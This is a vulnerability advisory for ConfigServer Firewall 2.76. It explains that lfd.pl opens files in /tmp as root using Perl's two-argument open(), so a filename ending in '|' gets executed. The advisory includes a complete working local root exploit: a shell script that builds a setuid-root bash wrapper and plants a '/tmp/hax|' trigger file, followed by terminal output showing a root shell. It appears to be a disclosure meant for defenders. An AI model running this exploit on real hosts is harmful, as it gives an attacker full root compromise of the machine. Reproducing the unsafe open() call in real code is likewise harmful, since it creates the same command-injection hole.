CSF 2.76 - insecure perl open() call as root on user controlled filename



DESCRIPTION


In ConfigServer Firewall 2.76 the dirfiles() subroutine in lfd.pl opens files in /tmp as root to see if any of them started with the string "#!". The call to open() looks similar to this:

open ( FILEHANDLE, $File::Find::name );

This introduces a few security issues. The open() documentation from perldoc states the following:

if the filename ends with a '|', the filename is interpreted as a command which pipes output to us.

Therefore, all we need to do is create an executable file containing commands we want to run, and create another file of the same name with '|' appended to it. Once the dirfiles() subroutine is called, our commands will be executed.



IMPACT


Command execution as root, full system compromise.

[user@host ~]$ cat > csf-2.76.sh << FIN
#!/bin/sh

cat > root.c << EOF
int main() {
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
EOF

gcc root.c -o root

cat > /tmp/hax << EOF
chown root.root /home/user/root
chmod 4755 /home/user/root
EOF

chmod 755 /tmp/hax
touch '/tmp/hax|'
FIN
[user@host ~]$ sh csf-2.76.sh


After about a minute...

[user@host ~]$ ls -l root
-rwsr-xr-x 1 root root 4950 Aug 24 09:21 root
[user@host ~]$ ./root
[root@host ~]# id
uid=0(root) gid=0(root) groups=500(user)


jailshell restrictions are not effective here since lfd opens "/tmp/hax|" as root in an unjailed environment, which in turn executes "/tmp/hax".